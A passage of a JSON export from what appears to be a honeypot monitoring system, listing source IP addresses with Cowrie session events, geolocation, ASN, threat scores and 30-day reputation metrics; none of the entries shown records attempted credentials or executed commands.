    },
    "164.92.137.55": {
      "attack_count": 4,
      "first_seen": "2026-05-29T11:53:12.337Z",
      "last_seen": "2026-05-29T11:53:14.849Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 20.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T11:53:12.337000+00:00",
        "last_seen_30d": "2026-05-29T11:54:23.866000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "193.34.225.188": {
      "attack_count": 4,
      "first_seen": "2026-05-04T20:07:11.020Z",
      "last_seen": "2026-05-04T20:09:13.128Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kyrgyzstan",
      "country_code": "KG",
      "city": "Bishkek",
      "asn": 42837,
      "as_org": "Extra Line LLC",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T20:07:11.020000+00:00",
        "last_seen_30d": "2026-05-04T20:20:05.828000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "205.210.31.136": {
      "attack_count": 4,
      "first_seen": "2026-05-16T04:10:51.453Z",
      "last_seen": "2026-05-16T04:10:54.783Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 69.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.6,
        "persistence": 21.7,
        "diversity": 18,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 26,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T20:11:00.093000+00:00",
        "last_seen_30d": "2026-05-31T07:39:59.611000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Honeytrap": 7,
        "Cowrie": 4
      }
    },
    "42.100.20.213": {
      "attack_count": 4,
      "first_seen": "2026-05-20T07:37:16.246Z",
      "last_seen": "2026-05-20T07:38:13.811Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T07:37:16.246000+00:00",
        "last_seen_30d": "2026-05-20T07:40:31.393000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "66.132.186.181": {
      "attack_count": 4,
      "first_seen": "2026-05-04T07:38:23.150Z",
      "last_seen": "2026-05-04T07:38:38.195Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 185,
        "days_active_30d": 30,
        "ports_targeted_30d": 50,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-02T11:59:02+00:00",
        "last_seen_30d": "2026-05-31T08:31:31.090000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 106,
        "Honeytrap": 62,
        "Ciscoasa": 6,
        "Cowrie": 4,
        "ConPot": 3,
        "Dionaea": 1,
        "Ipphoney": 1
      }
    },
    "87.65.169.190": {
      "attack_count": 4,
      "first_seen": "2026-05-11T03:47:12.871Z",
      "last_seen": "2026-05-11T03:47:16.867Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Li\u00e8ge",
      "asn": 5432,
      "as_org": "Proximus NV",
      "threat_score": 7.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T03:47:12.871000+00:00",
        "last_seen_30d": "2026-05-11T03:49:11.151000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "94.75.168.131": {
      "attack_count": 4,
      "first_seen": "2026-05-31T15:03:19.831Z",
      "last_seen": "2026-05-31T15:05:19.833Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Bryansk",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T15:03:19.831000+00:00",
        "last_seen_30d": "2026-05-31T15:15:20.667000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "102.142.99.241": {
      "attack_count": 2,
      "first_seen": "2026-05-06T20:14:47.857Z",
      "last_seen": "2026-05-06T20:15:01.315Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Gabon",
      "country_code": "GA",
      "city": "Libreville",
      "asn": 36924,
      "as_org": "GVA-Canalbox",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T20:14:47.857000+00:00",
        "last_seen_30d": "2026-05-06T20:16:08.620000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.247.22.61": {
      "attack_count": 2,
      "first_seen": "2026-05-17T06:08:48.117Z",
      "last_seen": "2026-05-17T06:09:01.231Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 58485,
      "as_org": "WIFIAN",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T06:08:48.117000+00:00",
        "last_seen_30d": "2026-05-17T06:10:08.254000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "107.175.156.158": {
      "attack_count": 2,
      "first_seen": "2026-05-03T15:58:47.600Z",
      "last_seen": "2026-05-03T15:58:52.734Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 2.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T15:58:47.600000+00:00",
        "last_seen_30d": "2026-05-03T15:59:59.171000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "111.123.81.205": {
      "attack_count": 2,
      "first_seen": "2026-05-19T06:26:57.248Z",
      "last_seen": "2026-05-19T06:27:13.959Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:26:57.248000+00:00",
        "last_seen_30d": "2026-05-19T06:28:18.511000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "111.123.82.168": {
      "attack_count": 2,
      "first_seen": "2026-05-31T19:40:38.850Z",
      "last_seen": "2026-05-31T19:40:51.898Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T19:40:38.850000+00:00",
        "last_seen_30d": "2026-05-31T19:41:53.108000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "112.203.83.156": {
      "attack_count": 2,
      "first_seen": "2026-05-07T10:42:55.666Z",
      "last_seen": "2026-05-07T10:43:08.049Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Quezon City",
      "asn": 9299,
      "as_org": "Philippine Long Distance Telephone Company",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T10:42:55.666000+00:00",
        "last_seen_30d": "2026-05-07T10:44:09.889000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "116.208.64.194": {
      "attack_count": 2,
      "first_seen": "2026-05-22T17:33:47.839Z",
      "last_seen": "2026-05-22T17:34:40.828Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T17:33:47.839000+00:00",
        "last_seen_30d": "2026-05-22T17:35:43.616000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "124.29.193.114": {
      "attack_count": 2,
      "first_seen": "2026-05-02T23:52:38.367Z",
      "last_seen": "2026-05-02T23:54:38.369Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 2.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T23:52:38.367000+00:00",
        "last_seen_30d": "2026-05-04T23:47:17.164000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "149.74.248.150": {
      "attack_count": 2,
      "first_seen": "2026-05-04T09:59:55.256Z",
      "last_seen": "2026-05-04T10:00:07.154Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Gij\u00f3n",
      "asn": 12479,
      "as_org": "Orange Espagne SA",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T09:59:55.256000+00:00",
        "last_seen_30d": "2026-05-04T10:01:11.363000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "154.57.12.247": {
      "attack_count": 2,
      "first_seen": "2026-05-10T06:11:16.252Z",
      "last_seen": "2026-05-10T06:11:28.919Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Greece",
      "country_code": "GR",
      "city": "Athens",
      "asn": 200736,
      "as_org": "Medianet Invest Ae",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T06:11:16.252000+00:00",
        "last_seen_30d": "2026-05-10T06:12:29.639000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "169.224.10.11": {
      "attack_count": 2,
      "first_seen": "2026-05-11T03:39:40.401Z",
      "last_seen": "2026-05-11T03:39:52.917Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Baghdad",
      "asn": 199739,
      "as_org": "Earthlink Telecommunications Equipment Trading & Services DMCC",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T03:39:40.401000+00:00",
        "last_seen_30d": "2026-05-11T03:40:57.508000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "169.224.125.28": {
      "attack_count": 2,
      "first_seen": "2026-05-07T14:01:23.166Z",
      "last_seen": "2026-05-07T14:01:36.972Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": null,
      "asn": 199739,
      "as_org": "Earthlink Telecommunications Equipment Trading & Services DMCC",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T14:01:23.166000+00:00",
        "last_seen_30d": "2026-05-07T14:02:43.832000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "171.40.11.99": {
      "attack_count": 2,
      "first_seen": "2026-05-22T11:45:08.809Z",
      "last_seen": "2026-05-22T11:45:40.781Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T11:45:08.809000+00:00",
        "last_seen_30d": "2026-05-22T11:46:44.397000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "175.10.24.116": {
      "attack_count": 2,
      "first_seen": "2026-05-22T23:42:13.216Z",
      "last_seen": "2026-05-22T23:42:43.543Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T23:42:13.216000+00:00",
        "last_seen_30d": "2026-05-22T23:43:50.421000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "176.97.98.93": {
      "attack_count": 2,
      "first_seen": "2026-05-22T00:11:16.118Z",
      "last_seen": "2026-05-22T00:13:16.119Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Murmansk",
      "asn": 47236,
      "as_org": "CityLink Ltd",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T00:11:16.118000+00:00",
        "last_seen_30d": "2026-05-22T00:23:19.002000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "177.215.209.94": {
      "attack_count": 2,
      "first_seen": "2026-05-22T09:24:09.524Z",
      "last_seen": "2026-05-22T09:24:21.310Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 26599,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T09:24:09.524000+00:00",
        "last_seen_30d": "2026-05-22T09:25:30.343000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "180.191.52.204": {
      "attack_count": 2,
      "first_seen": "2026-05-27T05:48:36.627Z",
      "last_seen": "2026-05-27T05:48:50.200Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Tarlac City",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T05:48:36.627000+00:00",
        "last_seen_30d": "2026-05-27T05:49:55.467000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.17.68.80": {
      "attack_count": 2,
      "first_seen": "2026-05-20T12:21:57.235Z",
      "last_seen": "2026-05-20T12:22:10.060Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": null,
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T12:21:57.235000+00:00",
        "last_seen_30d": "2026-05-20T12:23:16.499000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.9.210.147": {
      "attack_count": 2,
      "first_seen": "2026-05-16T02:54:35.689Z",
      "last_seen": "2026-05-16T02:54:48.895Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": null,
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T02:54:35.689000+00:00",
        "last_seen_30d": "2026-05-16T02:55:57.331000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "185.192.162.49": {
      "attack_count": 2,
      "first_seen": "2026-05-07T14:22:16.697Z",
      "last_seen": "2026-05-07T14:22:30.395Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Lebanon",
      "country_code": "LB",
      "city": "Beirut",
      "asn": 9051,
      "as_org": "IncoNet Data Management sal",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T14:22:16.697000+00:00",
        "last_seen_30d": "2026-05-07T14:23:40.860000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.219.110.55": {
      "attack_count": 2,
      "first_seen": "2026-05-25T08:19:00.832Z",
      "last_seen": "2026-05-25T08:21:00.835Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Panama",
      "country_code": "PA",
      "city": "Panama City",
      "asn": 18809,
      "as_org": "Cable Onda",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T08:19:00.832000+00:00",
        "last_seen_30d": "2026-05-25T08:22:11.580000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "202.126.90.49": {
      "attack_count": 2,
      "first_seen": "2026-05-07T08:07:51.733Z",
      "last_seen": "2026-05-07T08:08:04.886Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mongolia",
      "country_code": "MN",
      "city": "Ulan Bator",
      "asn": 55805,
      "as_org": "MobiCom Corporation",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
